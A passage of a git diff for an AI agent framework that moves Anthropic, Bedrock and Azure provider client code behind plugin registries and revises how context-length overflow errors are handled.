anthropic_kwargs["temperature"] = temperature
response = self._client.messages.create(**anthropic_kwargs)
_transport = get_transport("anthropic_messages")
_nr = _transport.normalize_response(
response, strip_tool_prefix=self._is_oauth
)
# ToolCall already duck-types as OpenAI shape (.type, .function.name,
# .function.arguments) via properties, so no wrapping needed.
assistant_message = SimpleNamespace(
content=_nr.content,
tool_calls=_nr.tool_calls,
reasoning=_nr.reasoning,
)
finish_reason = _nr.finish_reason
usage = None
if hasattr(response, "usage") and response.usage:
prompt_tokens = getattr(response.usage, "input_tokens", 0) or 0
completion_tokens = getattr(response.usage, "output_tokens", 0) or 0
total_tokens = getattr(response.usage, "total_tokens", 0) or (prompt_tokens + completion_tokens)
usage = SimpleNamespace(
prompt_tokens=prompt_tokens,
completion_tokens=completion_tokens,
total_tokens=total_tokens,
)
choice = SimpleNamespace(
index=0,
message=assistant_message,
finish_reason=finish_reason,
)
return SimpleNamespace(
choices=[choice],
model=model,
usage=usage,
)
class _AnthropicChatShim:
def __init__(self, adapter: _AnthropicCompletionsAdapter):
self.completions = adapter
class AnthropicAuxiliaryClient:
"""OpenAI-client-compatible wrapper over a native Anthropic client."""
def __init__(self, real_client: Any, model: str, api_key: str, base_url: str, is_oauth: bool = False):
self._real_client = real_client
adapter = _AnthropicCompletionsAdapter(real_client, model, is_oauth=is_oauth)
self.chat = _AnthropicChatShim(adapter)
self.api_key = api_key
self.base_url = base_url
def close(self):
close_fn = getattr(self._real_client, "close", None)
if callable(close_fn):
close_fn()
class _AsyncAnthropicCompletionsAdapter:
def __init__(self, sync_adapter: _AnthropicCompletionsAdapter):
self._sync = sync_adapter
async def create(self, **kwargs) -> Any:
import asyncio
return await asyncio.to_thread(self._sync.create, **kwargs)
class _AsyncAnthropicChatShim:
def __init__(self, adapter: _AsyncAnthropicCompletionsAdapter):
self.completions = adapter
class AsyncAnthropicAuxiliaryClient:
def __init__(self, sync_wrapper: "AnthropicAuxiliaryClient"):
sync_adapter = sync_wrapper.chat.completions
async_adapter = _AsyncAnthropicCompletionsAdapter(sync_adapter)
self.chat = _AsyncAnthropicChatShim(async_adapter)
self.api_key = sync_wrapper.api_key
self.base_url = sync_wrapper.base_url
# See AsyncCodexAuxiliaryClient: mirror _real_client so cache
# eviction on a poisoned underlying client also drops this entry.
self._real_client = sync_wrapper._real_client
def _endpoint_speaks_anthropic_messages(base_url: str) -> bool:
"""True if the endpoint at ``base_url`` speaks the Anthropic Messages
protocol instead of OpenAI chat.completions.
Mirrors ``hermes_cli.runtime_provider._detect_api_mode_for_url`` so the
auxiliary client and the main agent stay in sync on transport selection.
Covers:
- Any URL ending in ``/anthropic`` (MiniMax, Zhipu GLM, LiteLLM proxies,
Anthropic-compatible gateways).
- ``api.kimi.com/coding`` (Kimi Coding Plan — the /coding route only
speaks Claude-Code's native Anthropic shape; ``chat.completions``
returns 404 on Anthropic-only model aliases like ``kimi-for-coding``).
- ``api.anthropic.com`` (native Anthropic).
"""
normalized = (base_url or "").strip().lower().rstrip("/")
if not normalized:
return False
if normalized.endswith("/anthropic"):
return True
hostname = base_url_hostname(normalized)
if hostname == "api.anthropic.com":
return True
if hostname == "api.kimi.com" and "/coding" in normalized:
return True
return False
def _maybe_wrap_anthropic(
client_obj: Any,
model: str,
api_key: str,
base_url: str,
api_mode: Optional[str] = None,
) -> Any:
"""Rewrap a plain OpenAI client in ``AnthropicAuxiliaryClient`` when
the endpoint actually speaks Anthropic Messages.
This is the single chokepoint for aux-client transport correction.
Runs at the end of every ``resolve_provider_client`` branch so that
api_key providers (Kimi Coding Plan), the ``custom`` endpoint, and
future /anthropic gateways all land on the right wire format
regardless of which branch built the client.
Returns ``client_obj`` unchanged when:
- It's already an Anthropic/Codex/Gemini/CopilotACP wrapper.
- The endpoint is an OpenAI-wire endpoint.
- ``api_mode`` is explicitly set to a non-Anthropic transport.
- The ``anthropic`` SDK is not installed (falls back to OpenAI wire).
"""
# Already wrapped — don't double-wrap.
if _safe_isinstance(client_obj, AnthropicAuxiliaryClient):
return client_obj
# Other specialized adapters we should never re-dispatch.
if _safe_isinstance(client_obj, CodexAuxiliaryClient):
return client_obj
try:
from agent.gemini_native_adapter import GeminiNativeClient
if _safe_isinstance(client_obj, GeminiNativeClient):
return client_obj
except ImportError:
pass
try:
from agent.copilot_acp_client import CopilotACPClient
if _safe_isinstance(client_obj, CopilotACPClient):
return client_obj
except ImportError:
pass
# Explicit non-anthropic api_mode wins over URL heuristics.
if api_mode and api_mode != "anthropic_messages":
return client_obj
should_wrap = (
api_mode == "anthropic_messages"
or _endpoint_speaks_anthropic_messages(base_url)
)
if not should_wrap:
return client_obj
try:
from agent.anthropic_adapter import build_anthropic_client
except ImportError:
logger.warning(
"Endpoint %s speaks Anthropic Messages but the anthropic SDK is "
"not installed — falling back to OpenAI-wire (will likely 404).",
base_url,
)
return client_obj
try:
real_client = build_anthropic_client(api_key, base_url)
except Exception as exc:
logger.warning(
"Failed to build Anthropic client for %s (%s) — falling back to "
"OpenAI-wire client.", base_url, exc,
)
return client_obj
logger.debug(
"Auxiliary transport: wrapping client in AnthropicAuxiliaryClient "
"(model=%s, base_url=%s, api_mode=%s)",
model, base_url[:60] if base_url else "", api_mode or "auto-detected",
)
return AnthropicAuxiliaryClient(
real_client, model, api_key, base_url, is_oauth=False,
)
def _read_nous_auth() -> Optional[dict]:
"""Read and validate ~/.hermes/auth.json for an active Nous provider.
@@ -1405,7 +1192,14 @@ def _resolve_api_key_provider() -> Tuple[Optional[OpenAI], Optional[str]]:
continue
except ImportError:
pass
return _try_anthropic()
# Delegate to the anthropic plugin resolver via the registry
from agent.plugin_registries import registries as _ar
_anthro_resolver = _ar.get_provider_resolver("anthropic")
if _anthro_resolver is not None:
_ac, _am = _anthro_resolver()
if _ac is not None:
return _ac, _am
continue
pool_present, entry = _select_pool_entry(provider_id)
if pool_present:
@@ -1442,7 +1236,7 @@ def _resolve_api_key_provider() -> Tuple[Optional[OpenAI], Optional[str]]:
except Exception:
pass
_client = OpenAI(api_key=api_key, base_url=base_url, **extra)
_client = _maybe_wrap_anthropic(_client, model, api_key, raw_base_url)
_client = _anthropic_plugin_service("maybe_wrap_anthropic")(_client, model, api_key, raw_base_url)
return _client, model
creds = resolve_api_key_provider_credentials(provider_id)
@@ -1479,7 +1273,7 @@ def _resolve_api_key_provider() -> Tuple[Optional[OpenAI], Optional[str]]:
except Exception:
pass
_client = OpenAI(api_key=api_key, base_url=base_url, **extra)
_client = _maybe_wrap_anthropic(_client, model, api_key, raw_base_url)
_client = _anthropic_plugin_service("maybe_wrap_anthropic")(_client, model, api_key, raw_base_url)
return _client, model
return None, None
@@ -1488,7 +1282,6 @@ def _resolve_api_key_provider() -> Tuple[Optional[OpenAI], Optional[str]]:
# ── Provider resolution helpers ─────────────────────────────────────────────
def _try_openrouter(explicit_api_key: str = None, model: str = None) -> Tuple[Optional[OpenAI], Optional[str]]:
pool_present, entry = _select_pool_entry("openrouter")
if pool_present:
@@ -1810,7 +1603,11 @@ def _try_custom_endpoint() -> Tuple[Optional[Any], Optional[str]]:
# LiteLLM proxies, etc.). Must NEVER be treated as OAuth —
# Anthropic OAuth claims only apply to api.anthropic.com.
try:
from agent.anthropic_adapter import build_anthropic_client
from agent.plugin_registries import registries
_anthropic = registries.get_provider_namespace("anthropic")
build_anthropic_client = _anthropic.get("build_anthropic_client")
if build_anthropic_client is None:
raise ImportError("anthropic provider not registered")
real_client = build_anthropic_client(custom_key, custom_base)
except ImportError:
logger.warning(
@@ -1825,7 +1622,7 @@ def _try_custom_endpoint() -> Tuple[Optional[Any], Optional[str]]:
# URL-based anthropic detection for custom endpoints that didn't set
# api_mode explicitly (e.g. kimi.com/coding reached via custom config).
_fallback_client = OpenAI(api_key=custom_key, base_url=_clean_base, **_extra)
_fallback_client = _maybe_wrap_anthropic(
_fallback_client = _anthropic_plugin_service("maybe_wrap_anthropic")(
_fallback_client, model, custom_key, custom_base, custom_mode,
)
return _fallback_client, model
@@ -2003,7 +1800,7 @@ def _try_azure_foundry(
# for Entra ID it's a callable. ``_maybe_wrap_anthropic`` →
# ``build_anthropic_client`` detects the callable and installs
# the bearer-injecting httpx hook.
return _maybe_wrap_anthropic(
return _anthropic_plugin_service("maybe_wrap_anthropic")(
client, final_model, api_key,
base_url, runtime_api_mode,
), final_model
@@ -2012,54 +1809,6 @@ def _try_azure_foundry(
return client, final_model
def _try_anthropic(explicit_api_key: str = None) -> Tuple[Optional[Any], Optional[str]]:
try:
from agent.anthropic_adapter import build_anthropic_client, resolve_anthropic_token
except ImportError:
return None, None
pool_present, entry = _select_pool_entry("anthropic")
if pool_present:
if entry is None:
return None, None
token = explicit_api_key or _pool_runtime_api_key(entry)
else:
entry = None
token = explicit_api_key or resolve_anthropic_token()
if not token:
return None, None
# Allow base URL override from config.yaml model.base_url, but only
# when the configured provider is anthropic — otherwise a non-Anthropic
# base_url (e.g. Codex endpoint) would leak into Anthropic requests.
base_url = _pool_runtime_base_url(entry, _ANTHROPIC_DEFAULT_BASE_URL) if pool_present else _ANTHROPIC_DEFAULT_BASE_URL
try:
from hermes_cli.config import load_config
cfg = load_config()
model_cfg = cfg.get("model")
if isinstance(model_cfg, dict):
cfg_provider = str(model_cfg.get("provider") or "").strip().lower()
if cfg_provider == "anthropic":
cfg_base_url = (model_cfg.get("base_url") or "").strip().rstrip("/")
if cfg_base_url:
base_url = cfg_base_url
except Exception:
pass
from agent.anthropic_adapter import _is_oauth_token
is_oauth = _is_oauth_token(token)
model = _get_aux_model_for_provider("anthropic") or "claude-haiku-4-5-20251001"
logger.debug("Auxiliary client: Anthropic native (%s) at %s (oauth=%s)", model, base_url, is_oauth)
try:
real_client = build_anthropic_client(token, base_url)
except ImportError:
# The anthropic_adapter module imports fine but the SDK itself is
# missing — build_anthropic_client raises ImportError at call time
# when _anthropic_sdk is None. Treat as unavailable.
return None, None
return AnthropicAuxiliaryClient(real_client, model, token, base_url, is_oauth=is_oauth), model
_AUTO_PROVIDER_LABELS = {
"_try_openrouter": "openrouter",
"_try_nous": "nous",
@@ -2629,8 +2378,8 @@ def _retry_same_provider_sync(
extra_body=effective_extra_body,
base_url=retry_base or resolved_base_url,
)
if _is_anthropic_compat_endpoint(resolved_provider, retry_base):
retry_kwargs["messages"] = _convert_openai_images_to_anthropic(retry_kwargs["messages"])
if _anthropic_plugin_service("is_anthropic_compat_endpoint")(resolved_provider, retry_base):
retry_kwargs["messages"] = _anthropic_plugin_service("convert_openai_images_to_anthropic")(retry_kwargs["messages"])
return _validate_llm_response(
retry_client.chat.completions.create(**retry_kwargs), task,
)
@@ -2686,8 +2435,8 @@ async def _retry_same_provider_async(
extra_body=effective_extra_body,
base_url=retry_base or resolved_base_url,
)
if _is_anthropic_compat_endpoint(resolved_provider, retry_base):
retry_kwargs["messages"] = _convert_openai_images_to_anthropic(retry_kwargs["messages"])
if _anthropic_plugin_service("is_anthropic_compat_endpoint")(resolved_provider, retry_base):
retry_kwargs["messages"] = _anthropic_plugin_service("convert_openai_images_to_anthropic")(retry_kwargs["messages"])
return _validate_llm_response(
await retry_client.chat.completions.create(**retry_kwargs), task,
)
@@ -2721,12 +2470,19 @@ def _refresh_provider_credentials(provider: str) -> bool:
_evict_cached_clients(normalized)
return True
if normalized == "anthropic":
from agent.anthropic_adapter import read_claude_code_credentials, _refresh_oauth_token, resolve_anthropic_token
from agent.plugin_registries import registries
_anthropic = registries.get_provider_namespace("anthropic")
read_claude_code_credentials = _anthropic.get("read_claude_code_credentials")
_refresh_oauth_token = _anthropic.get("_refresh_oauth_token")
resolve_anthropic_token = _anthropic.get("resolve_anthropic_token")
if read_claude_code_credentials is None:
return False
creds = read_claude_code_credentials()
token = _refresh_oauth_token(creds) if isinstance(creds, dict) and creds.get("refreshToken") else None
token = _refresh_oauth_token(creds) if isinstance(creds, dict) and creds.get("refreshToken") and _refresh_oauth_token else None
if not str(token or "").strip():
token = resolve_anthropic_token()
if resolve_anthropic_token is not None:
token = resolve_anthropic_token()
if not str(token or "").strip():
return False
_evict_cached_clients(normalized)
@@ -3047,7 +2803,7 @@ def _to_async_client(sync_client, model: str, is_vision: bool = False):
if isinstance(sync_client, CodexAuxiliaryClient):
return AsyncCodexAuxiliaryClient(sync_client), model
if isinstance(sync_client, AnthropicAuxiliaryClient):
if _safe_isinstance(sync_client, AnthropicAuxiliaryClient):
return AsyncAnthropicAuxiliaryClient(sync_client), model
try:
from agent.gemini_native_adapter import GeminiNativeClient, AsyncGeminiNativeClient
@@ -3233,7 +2989,7 @@ def resolve_provider_client(
return CodexAuxiliaryClient(client_obj, final_model_str)
# Anthropic-wire endpoints: rewrap plain OpenAI clients so
# chat.completions.create() is translated to /v1/messages.
return _maybe_wrap_anthropic(
return _anthropic_plugin_service("maybe_wrap_anthropic")(
client_obj, final_model_str, api_key_str, base_url_str, api_mode,
)
@@ -3465,7 +3221,11 @@ def resolve_provider_client(
# branch in _try_custom_endpoint(). See #15033.
if entry_api_mode == "anthropic_messages":
try:
from agent.anthropic_adapter import build_anthropic_client
from agent.plugin_registries import registries
_anthropic = registries.get_provider_namespace("anthropic")
build_anthropic_client = _anthropic.get("build_anthropic_client")
if build_anthropic_client is None:
raise ImportError("anthropic provider not registered")
real_client = build_anthropic_client(custom_key, custom_base)
except ImportError:
logger.warning(
@@ -3508,39 +3268,32 @@ def resolve_provider_client(
except ImportError:
pass
# ── Azure Foundry (delegates to runtime resolver for auth_mode-aware routing)
#
# The generic PROVIDER_REGISTRY path below uses
# ``resolve_api_key_provider_credentials`` which only knows about the
# static ``AZURE_FOUNDRY_API_KEY`` env var. That misses two important
# cases for the ``azure-foundry`` provider:
#
# 1. ``model.auth_mode: entra_id`` — no static key exists; we need
# a callable bearer-token provider from ``azure_identity_adapter``.
# 2. Non-default ``model.base_url`` (Foundry projects path) — the
# env-var-only resolver doesn't apply config-yaml-driven URL
# overrides.
#
# Delegate to the same runtime resolver the main agent uses so
# auxiliary tasks (title generation, compression, vision, embedding,
# session search) inherit the user's full Azure config.
if provider == "azure-foundry":
client, default_model = _try_azure_foundry(
# ── Plugin-registered resolvers (azure-foundry, etc.) ─────────────
# Providers with complex auth (Entra ID, OAuth, etc.) register a
# resolver callable so core doesn't need per-provider if/elif branches.
from agent.plugin_registries import registries as _reg_early
_early_resolver = _reg_early.get_provider_resolver(provider)
if _early_resolver is not None:
client, default_model = _early_resolver(
model=model,
explicit_api_key=explicit_api_key,
explicit_base_url=explicit_base_url,
async_mode=async_mode,
is_vision=is_vision,
main_runtime=main_runtime,
api_mode=api_mode,
)
if client is None:
logger.warning(
"resolve_provider_client: azure-foundry requested but "
"runtime resolution failed (run: hermes doctor for "
"diagnostics)"
)
return None, None
final_model = _normalize_resolved_model(model or default_model, provider)
return (_to_async_client(client, final_model, is_vision=is_vision) if async_mode
else (client, final_model))
if client is not None:
final_model = _normalize_resolved_model(model or default_model, provider)
return (_to_async_client(client, final_model, is_vision=is_vision) if async_mode
else (client, final_model))
# Resolver returned None — provider unavailable
logger.warning(
"resolve_provider_client: %s requested but resolver returned "
"no client (run: hermes doctor for diagnostics)",
provider,
)
return None, None
# ── API-key providers from PROVIDER_REGISTRY ─────────────────────
try:
@@ -3559,14 +3312,6 @@ def resolve_provider_client(
return None, None
if pconfig.auth_type == "api_key":
if provider == "anthropic":
client, default_model = _try_anthropic(explicit_api_key=explicit_api_key)
if client is None:
logger.warning("resolve_provider_client: anthropic requested but no Anthropic credentials found")
return None, None
final_model = _normalize_resolved_model(model or default_model, provider)
return (_to_async_client(client, final_model, is_vision=is_vision) if async_mode else (client, final_model))
creds = resolve_api_key_provider_credentials(provider)
api_key = str(creds.get("api_key", "")).strip()
# Honour an explicit api_key override (e.g. from a fallback_model entry
@@ -3699,37 +3444,14 @@ def resolve_provider_client(
return None, None
elif pconfig.auth_type == "aws_sdk":
# AWS SDK providers (Bedrock) — use the Anthropic Bedrock client via
# boto3's credential chain (IAM roles, SSO, env vars, instance metadata).
try:
from agent.bedrock_adapter import has_aws_credentials, resolve_bedrock_region
from agent.anthropic_adapter import build_anthropic_bedrock_client
except ImportError:
logger.warning("resolve_provider_client: bedrock requested but "
"boto3 or anthropic SDK not installed")
return None, None
if not has_aws_credentials():
logger.debug("resolve_provider_client: bedrock requested but "
"no AWS credentials found")
return None, None
region = resolve_bedrock_region()
default_model = "anthropic.claude-haiku-4-5-20251001-v1:0"
final_model = _normalize_resolved_model(model or default_model, provider)
try:
real_client = build_anthropic_bedrock_client(region)
except ImportError as exc:
logger.warning("resolve_provider_client: cannot create Bedrock "
"client: %s", exc)
return None, None
client = AnthropicAuxiliaryClient(
real_client, final_model, api_key="aws-sdk",
base_url=f"https://bedrock-runtime.{region}.amazonaws.com",
# AWS SDK providers (e.g. Bedrock) — handled by the early resolver
# catch above when a plugin registers one. If we reach here, no
# resolver was registered.
logger.warning(
"resolve_provider_client: aws_sdk provider %s has no "
"registered resolver (plugin not loaded?)", provider,
)
logger.debug("resolve_provider_client: bedrock (%s, %s)", final_model, region)
return (_to_async_client(client, final_model, is_vision=is_vision) if async_mode
else (client, final_model))
return None, None
elif pconfig.auth_type in {"oauth_device_code", "oauth_external"}:
# OAuth providers — route through their specific try functions
@@ -3853,7 +3575,12 @@ def _resolve_strict_vision_backend(
# allow-list); callers must specify via auxiliary.<task>.model.
return resolve_provider_client("openai-codex", model, is_vision=True)
if provider == "anthropic":
return _try_anthropic()
from agent.plugin_registries import registries as _reg
_resolver = _reg.get_provider_resolver("anthropic")
if _resolver is not None:
return _resolver(model=model)
# Fallback: no resolver registered (plugin not loaded)
return None, None
if provider == "custom":
return _try_custom_endpoint()
return None, None
@@ -4583,69 +4310,6 @@ def _get_task_extra_body(task: str) -> Dict[str, Any]:
# Providers that use Anthropic-compatible endpoints (via OpenAI SDK wrapper).
# Their image content blocks must use Anthropic format, not OpenAI format.
_ANTHROPIC_COMPAT_PROVIDERS = frozenset({"minimax", "minimax-oauth", "minimax-cn"})
def _is_anthropic_compat_endpoint(provider: str, base_url: str) -> bool:
"""Detect if an endpoint expects Anthropic-format content blocks.
Returns True for known Anthropic-compatible providers (MiniMax) and
any endpoint whose URL contains ``/anthropic`` in the path.
"""
if provider in _ANTHROPIC_COMPAT_PROVIDERS:
return True
url_lower = (base_url or "").lower()
return "/anthropic" in url_lower
def _convert_openai_images_to_anthropic(messages: list) -> list:
"""Convert OpenAI ``image_url`` content blocks to Anthropic ``image`` blocks.
Only touches messages that have list-type content with ``image_url`` blocks;
plain text messages pass through unchanged.
"""
converted = []
for msg in messages:
content = msg.get("content")
if not isinstance(content, list):
converted.append(msg)
continue
new_content = []
changed = False
for block in content:
if block.get("type") == "image_url":
image_url_val = (block.get("image_url") or {}).get("url", "")
if image_url_val.startswith("data:"):
# Parse data URI: data:<media_type>;base64,<data>
header, _, b64data = image_url_val.partition(",")
media_type = "image/png"
if ":" in header and ";" in header:
media_type = header.split(":", 1)[1].split(";", 1)[0]
new_content.append({
"type": "image",
"source": {
"type": "base64",
"media_type": media_type,
"data": b64data,
},
})
else:
# URL-based image
new_content.append({
"type": "image",
"source": {
"type": "url",
"url": image_url_val,
},
})
changed = True
else:
new_content.append(block)
converted.append({**msg, "content": new_content} if changed else msg)
return converted
def _build_call_kwargs(
provider: str,
model: str,
@@ -4675,8 +4339,10 @@ def _build_call_kwargs(
# structured-JSON extraction) don't 400 the moment
# the aux model is flipped to 4.7.
if temperature is not None:
from agent.anthropic_adapter import _forbids_sampling_params
if _forbids_sampling_params(model):
from agent.plugin_registries import registries
_anthropic = registries.get_provider_namespace("anthropic")
_forbids_sampling_params = _anthropic.get("_forbids_sampling_params")
if _forbids_sampling_params is not None and _forbids_sampling_params(model):
temperature = None
if temperature is not None:
@@ -4888,8 +4554,8 @@ def call_llm(
# Convert image blocks for Anthropic-compatible endpoints (e.g. MiniMax)
_client_base = str(getattr(client, "base_url", "") or "")
if _is_anthropic_compat_endpoint(resolved_provider, _client_base):
kwargs["messages"] = _convert_openai_images_to_anthropic(kwargs["messages"])
if _anthropic_plugin_service("is_anthropic_compat_endpoint")(resolved_provider, _client_base):
kwargs["messages"] = _anthropic_plugin_service("convert_openai_images_to_anthropic")(kwargs["messages"])
# Handle unsupported temperature, max_tokens vs max_completion_tokens retry,
# then payment fallback.
@@ -5331,8 +4997,8 @@ async def async_call_llm(
base_url=_client_base or resolved_base_url)
# Convert image blocks for Anthropic-compatible endpoints (e.g. MiniMax)
if _is_anthropic_compat_endpoint(resolved_provider, _client_base):
kwargs["messages"] = _convert_openai_images_to_anthropic(kwargs["messages"])
if _anthropic_plugin_service("is_anthropic_compat_endpoint")(resolved_provider, _client_base):
kwargs["messages"] = _anthropic_plugin_service("convert_openai_images_to_anthropic")(kwargs["messages"])
try:
return _validate_llm_response(
+32 -20
View File
@@ -235,12 +235,14 @@ def interruptible_api_call(agent, api_kwargs: dict):
# normalize_converse_response produces an OpenAI-compatible
# SimpleNamespace so the rest of the agent loop can treat
# bedrock responses like chat_completions responses.
from agent.bedrock_adapter import (
_get_bedrock_runtime_client,
invalidate_runtime_client,
is_stale_connection_error,
normalize_converse_response,
)
from agent.plugin_registries import registries
_bedrock = registries.get_provider_namespace("bedrock")
_get_bedrock_runtime_client = _bedrock.get("_get_bedrock_runtime_client")
invalidate_runtime_client = _bedrock.get("invalidate_runtime_client")
is_stale_connection_error = _bedrock.get("is_stale_connection_error")
normalize_converse_response = _bedrock.get("normalize_converse_response")
if _get_bedrock_runtime_client is None or normalize_converse_response is None:
raise ImportError("bedrock provider not registered")
region = api_kwargs.pop("__bedrock_region__", "us-east-1")
api_kwargs.pop("__bedrock_converse__", None)
client = _get_bedrock_runtime_client(region)
@@ -696,8 +698,11 @@ def build_api_kwargs(agent, api_messages: list) -> dict:
_ant_max = None
if (_is_or or _is_nous) and "claude" in (agent.model or "").lower():
try:
from agent.anthropic_adapter import _get_anthropic_max_output
_ant_max = _get_anthropic_max_output(agent.model)
from agent.plugin_registries import registries
_anthropic = registries.get_provider_namespace("anthropic")
_get_anthropic_max_output = _anthropic.get("_get_anthropic_max_output")
if _get_anthropic_max_output is not None:
_ant_max = _get_anthropic_max_output(agent.model)
except Exception:
pass
@@ -1182,15 +1187,20 @@ def try_activate_fallback(agent, reason: "FailoverReason | None" = None) -> bool
if fb_api_mode == "anthropic_messages":
# Build native Anthropic client instead of using OpenAI client
from agent.anthropic_adapter import build_anthropic_client, resolve_anthropic_token, _is_oauth_token
effective_key = (fb_client.api_key or resolve_anthropic_token() or "") if fb_provider == "anthropic" else (fb_client.api_key or "")
from agent.plugin_registries import registries
_anthropic = registries.get_provider_namespace("anthropic")
build_anthropic_client = _anthropic.get("build_anthropic_client")
resolve_anthropic_token = _anthropic.get("resolve_anthropic_token")
_is_oauth_token = _anthropic.get("_is_oauth_token")
effective_key = (fb_client.api_key or (resolve_anthropic_token() if resolve_anthropic_token else "") or "") if fb_provider == "anthropic" else (fb_client.api_key or "")
agent.api_key = effective_key
agent._anthropic_api_key = effective_key
agent._anthropic_base_url = fb_base_url
agent._anthropic_client = build_anthropic_client(
effective_key, agent._anthropic_base_url, timeout=_fb_timeout,
)
agent._is_anthropic_oauth = _is_oauth_token(effective_key) if fb_provider == "anthropic" else False
if build_anthropic_client is not None:
agent._anthropic_client = build_anthropic_client(
effective_key, agent._anthropic_base_url, timeout=_fb_timeout,
)
agent._is_anthropic_oauth = _is_oauth_token(effective_key) if fb_provider == "anthropic" and _is_oauth_token else False
agent.client = None
agent._client_kwargs = {}
else:
@@ -1574,12 +1584,14 @@ def interruptible_streaming_api_call(agent, api_kwargs: dict, *, on_first_delta=
def _bedrock_call():
try:
from agent.bedrock_adapter import (
_get_bedrock_runtime_client,
invalidate_runtime_client,
is_stale_connection_error,
stream_converse_with_callbacks,
)
from agent.plugin_registries import registries
_bedrock = registries.get_provider_namespace("bedrock")
_get_bedrock_runtime_client = _bedrock.get("_get_bedrock_runtime_client")
invalidate_runtime_client = _bedrock.get("invalidate_runtime_client")
is_stale_connection_error = _bedrock.get("is_stale_connection_error")
stream_converse_with_callbacks = _bedrock.get("stream_converse_with_callbacks")
if _get_bedrock_runtime_client is None or stream_converse_with_callbacks is None:
raise ImportError("bedrock provider not registered")
region = api_kwargs.pop("__bedrock_region__", "us-east-1")
api_kwargs.pop("__bedrock_converse__", None)
client = _get_bedrock_runtime_client(region)
+29 -34
View File
@@ -27,7 +27,7 @@ import time
import uuid
from typing import Any, Dict, List, Optional
from agent.anthropic_adapter import _is_oauth_token
from agent.plugin_registries import registries as _registries
from agent.auxiliary_client import set_runtime_main
from agent.codex_responses_adapter import _summarize_user_message_for_log
from agent.display import KawaiiSpinner
@@ -49,9 +49,8 @@ from agent.model_metadata import (
MINIMUM_CONTEXT_LENGTH,
estimate_messages_tokens_rough,
estimate_request_tokens_rough,
get_next_probe_tier,
get_context_length_from_provider_error,
parse_available_output_tokens_from_error,
parse_context_limit_from_error,
save_context_length,
)
from agent.nous_rate_guard import (
@@ -2384,8 +2383,8 @@ def run_conversation(
and not anthropic_auth_retry_attempted
):
anthropic_auth_retry_attempted = True
from agent.anthropic_adapter import _is_oauth_token
from agent.azure_identity_adapter import is_token_provider
_is_oauth_token = _registries.get_provider_service("anthropic", "_is_oauth_token")
is_token_provider = _registries.get_provider_service("azure", "is_token_provider")
if agent._try_refresh_anthropic_client_credentials():
print(f"{agent.log_prefix}🔐 Anthropic credentials refreshed after 401. Retrying request...")
continue
@@ -2402,7 +2401,7 @@ def run_conversation(
print(f"{agent.log_prefix} Run `hermes doctor` for credential-chain diagnostics, or")
print(f"{agent.log_prefix} `az login` if your developer session expired.")
else:
auth_method = "Bearer (OAuth/setup-token)" if _is_oauth_token(key) else "x-api-key (API key)"
auth_method = "Bearer (OAuth/setup-token)" if (_is_oauth_token is not None and _is_oauth_token(key)) else "x-api-key (API key)"
print(f"{agent.log_prefix} Auth method: {auth_method}")
print(f"{agent.log_prefix} Token prefix: {key[:12]}..." if isinstance(key, str) and len(key) > 12 else f"{agent.log_prefix} Token: (empty or short)")
print(f"{agent.log_prefix} Troubleshooting:")
@@ -2900,9 +2899,13 @@ def run_conversation(
restart_with_compressed_messages = True
break
# Error is about the INPUT being too large — reduce context_length.
# Try to parse the actual limit from the error message
parsed_limit = parse_context_limit_from_error(error_msg)
# Error is about the INPUT being too large. Only reduce
# context_length when the provider explicitly reports the
# real lower limit. If the provider only says "input
# exceeds the context window", keep the configured window
# and try compression; guessing probe tiers can incorrectly
# turn a user-configured 1M window into 256K/128K/64K.
new_ctx = get_context_length_from_provider_error(error_msg, old_ctx)
_provider_lower = (getattr(agent, "provider", "") or "").lower()
_base_lower = (getattr(agent, "base_url", "") or "").rstrip("/").lower()
is_minimax_provider = (
@@ -2914,23 +2917,12 @@ def run_conversation(
)
minimax_delta_only_overflow = (
is_minimax_provider
and parsed_limit is None
and new_ctx is None
and "context window exceeds limit (" in error_msg
)
if parsed_limit and parsed_limit < old_ctx:
new_ctx = parsed_limit
agent._buffer_vprint(f"Context limit detected from API: {new_ctx:,} tokens (was {old_ctx:,})")
elif minimax_delta_only_overflow:
new_ctx = old_ctx
agent._buffer_vprint(
f"Provider reported overflow amount only; "
f"keeping context_length at {old_ctx:,} tokens and compressing."
)
else:
# Step down to the next probe tier
new_ctx = get_next_probe_tier(old_ctx)
if new_ctx and new_ctx < old_ctx:
if new_ctx is not None:
agent._buffer_vprint(f"Context limit detected from API: {new_ctx:,} tokens (was {old_ctx:,})")
compressor.update_model(
model=agent.model,
context_length=new_ctx,
@@ -2940,20 +2932,22 @@ def run_conversation(
api_mode=agent.api_mode,
)
# Context probing flags — only set on built-in
# compressor (plugin engines manage their own).
# compressor (plugin engines manage their own). This
# value came from the provider, so it is safe to cache.
if hasattr(compressor, "_context_probed"):
compressor._context_probed = True
# Only persist limits parsed from the provider's
# error message (a real number). Guessed fallback
# tiers from get_next_probe_tier() should stay
# in-memory only — persisting them pollutes the
# cache with wrong values.
compressor._context_probe_persistable = bool(
parsed_limit and parsed_limit == new_ctx
)
agent._buffer_vprint(f"⚠️ Context length exceeded — stepping down: {old_ctx:,}{new_ctx:,} tokens")
compressor._context_probe_persistable = True
agent._buffer_vprint(f"⚠️ Context length exceeded — using provider limit: {old_ctx:,}{new_ctx:,} tokens")
elif minimax_delta_only_overflow:
agent._buffer_vprint(
f"Provider reported overflow amount only; "
f"keeping context_length at {old_ctx:,} tokens and compressing."
)
else:
agent._buffer_vprint(f"⚠️ Context length exceeded at minimum tier — attempting compression...")
agent._buffer_vprint(
f"⚠️ Context length exceeded, but provider did not report a max context length; "
f"keeping context_length at {old_ctx:,} tokens and compressing."
)
compression_attempts += 1
if compression_attempts > max_compression_attempts:
@@ -4567,6 +4561,7 @@ def run_conversation(
original_user_message=original_user_message,
final_response=final_response,
interrupted=interrupted,
messages=messages,
)
# Background memory/skill review — runs AFTER the response is delivered
+49 -196
View File
@@ -458,43 +458,6 @@ class CredentialPool:
self._persist()
return updated
def _sync_anthropic_entry_from_credentials_file(self, entry: PooledCredential) -> PooledCredential:
"""Sync a claude_code pool entry from ~/.claude/.credentials.json if tokens differ.
OAuth refresh tokens are single-use. When something external (e.g.
Claude Code CLI, or another profile's pool) refreshes the token, it
writes the new pair to ~/.claude/.credentials.json. The pool entry's
refresh token becomes stale. This method detects that and syncs.
"""
if self.provider != "anthropic" or entry.source != "claude_code":
return entry
try:
from agent.anthropic_adapter import read_claude_code_credentials
creds = read_claude_code_credentials()
if not creds:
return entry
file_refresh = creds.get("refreshToken", "")
file_access = creds.get("accessToken", "")
file_expires = creds.get("expiresAt", 0)
# If the credentials file has a different token pair, sync it
if file_refresh and file_refresh != entry.refresh_token:
